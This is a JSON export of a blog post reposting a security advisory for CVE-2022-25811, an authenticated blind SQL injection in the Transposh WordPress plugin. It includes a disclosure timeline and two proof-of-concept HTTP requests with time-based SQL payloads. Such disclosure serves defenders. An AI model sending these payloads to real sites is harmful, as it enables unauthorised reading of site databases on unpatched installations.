{"id":28706,"date":"2022-07-30T11:19:13","date_gmt":"2022-07-30T07:19:13","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167885\/wptransposh1081-sql.txt"},"modified":"2022-07-31T10:04:34","modified_gmt":"2022-07-31T05:34:34","slug":"transposh-wordpress-translation-1-0-8-1-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/transposh-wordpress-translation-1-0-8-1-sql-injection\/","title":{"rendered":"Transposh WordPress Translation 1.0.8.1 SQL Injection"},"content":{"rendered":"<p dir=\"ltr\">RCE Security Advisory<br \/>\nhttps:\/\/www.rcesecurity.com<\/p>\n<p dir=\"ltr\">1. ADVISORY INFORMATION<br \/>\n=======================<br \/>\nProduct: Transposh WordPress Translation<br \/>\nVendor URL: https:\/\/wordpress.org\/plugins\/transposh-translation-filter-for-wordpress\/<br \/>\nType: Improper Authorization [CWE-285]\nDate found: 2022-02-21<br \/>\nDate published: 2022-07-22<br \/>\nCVSSv3 Score: 6.8 (CVSS:3.1\/AV:N\/AC:L\/PR:H\/UI:N\/S:C\/C:H\/I:N\/A:N)<br \/>\nCVE: CVE-2022-25811<\/p>\n<p dir=\"ltr\">2. CREDITS<br \/>\n==========<br \/>\nThis vulnerability was discovered and researched by Julien Ahrens from<br \/>\nRCE Security.<\/p>\n<p dir=\"ltr\">3. VERSIONS AFFECTED<br \/>\n====================<br \/>\nTransposh WordPress Translation 1.0.8.1 and below<\/p>\n<p dir=\"ltr\">4. INTRODUCTION<br \/>\n===============<br \/>\nTransposh translation filter for WordPress offers a unique approach to blog<br \/>\ntranslation. It allows your blog to combine automatic translation with human<br \/>\ntranslation aided by your users with an easy to use in-context interface.<\/p>\n<p dir=\"ltr\">(from the vendor&#8217;s homepage)<\/p>\n<p dir=\"ltr\">5. VULNERABILITY DETAILS<br \/>\n========================<br \/>\nThe WordPress plugin&#8217;s &#8220;tp_editor&#8221; page at &#8220;\/wp-admin\/admin.php?page=tp_editor&#8221; is<br \/>\nvulnerable to two authenticated, blind SQL Injections when user-supplied input to<br \/>\nthe HTT GET parameters &#8220;order&#8221; and &#8220;orderby&#8221; is processed by the web application.<\/p>\n<p dir=\"ltr\">Since the application does not properly validate and sanitize these parameters, an<br \/>\nattacker with the role &#8220;Administrator&#8221; is able to inject arbitrary SQL commands<br \/>\nagainst the backend database server of the web application.<\/p>\n<p dir=\"ltr\">Successful exploits can allow the attacker to access the WordPress backend<br \/>\ndatabase and thereby read sensitive contents. This is specifically relevant in<br \/>\nmulti-site installations.<\/p>\n<p dir=\"ltr\">6. PROOF OF CONCEPT<br \/>\n===================<br \/>\nTo exploit the &#8220;order&#8221; parameter:<\/p>\n<p dir=\"ltr\">GET \/wp-admin\/admin.php?page=tp_editor&amp;orderby=lang&amp;order=page=tp_editor&amp;orderby=lang&amp;order=asc,(SELECT%20(CASE%20WHEN%20(1=1)%20THEN%20SLEEP(10)%20ELSE%202%20END)) HTTP\/1.1<br \/>\nHost: localhost<br \/>\nUpgrade-Insecure-Requests: 1<br \/>\nUser-Agent: Mozilla\/5.0<br \/>\nCookie: [Your Cookies]\nConnection: close<\/p>\n<p dir=\"ltr\">To exploit the &#8220;orderby&#8221; parameter:<\/p>\n<p dir=\"ltr\">GET \/wp-admin\/admin.php?page=tp_editor&amp;orderby=lang&amp;order=page=tp_editor&amp;orderby=lang,(SELECT%20(CASE%20WHEN%20(1=1)%20THEN%20SLEEP(10)%20ELSE%202%20END))&amp;order=asc HTTP\/1.1<br \/>\nHost: localhost<br \/>\nUpgrade-Insecure-Requests: 1<br \/>\nUser-Agent: Mozilla\/5.0<br \/>\nCookie: [Your Cookies]\nConnection: close<\/p>\n<p dir=\"ltr\">7. SOLUTION<br \/>\n===========<br \/>\nNone. Remove the plugin to prevent exploitation.<\/p>\n<p dir=\"ltr\">8. REPORT TIMELINE<br \/>\n==================<br \/>\n2022-02-21: Discovery of the vulnerability<br \/>\n2022-02-21: Contacted the vendor via email<br \/>\n2022-02-21: Vendor response<br \/>\n2022-02-22: CVE requested from WPScan (CNA)<br \/>\n2022-02-23: WPScan assigns CVE-2022-25811<br \/>\n2022-05-22: Sent request for status update on the fix<br \/>\n2022-05-24: Vendor states that there is no update planned so far<br \/>\n2022-07-22: Public disclosure<\/p>\n<p dir=\"ltr\">9. REFERENCES<br \/>\n=============<br \/>\nhttps:\/\/github.com\/MrTuxracer\/advisories<br \/>\nhttps:\/\/www.rcesecurity.com\/2022\/07\/WordPress-Transposh-Exploiting-a-Blind-SQL-Injection-via-XSS\/<\/p>\n","protected":false},"excerpt":{"rendered":"<p>RCE Security Advisory https:\/\/www.rcesecurity.com 1. ADVISORY INFORMATION ======================= Product: Transposh WordPress Translation Vendor URL: https:\/\/wordpress.org\/plugins\/transposh-translation-filter-for-wordpress\/ Type: Improper Authorization [CWE-285] Date found: 2022-02-21 Date published: 2022-07-22 CVSSv3 Score: 6.8 (CVSS:3.1\/AV:N\/AC:L\/PR:H\/UI:N\/S:C\/C:H\/I:N\/A:N) CVE: CVE-2022-25811 2. CREDITS ========== This vulnerability was discovered and researched by Julien Ahrens from RCE Security. 3. VERSIONS AFFECTED ==================== Transposh WordPress Translation 1.0.8.1 and &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-28706","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/28706","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=28706"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/28706\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=28706"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=28706"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=28706"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}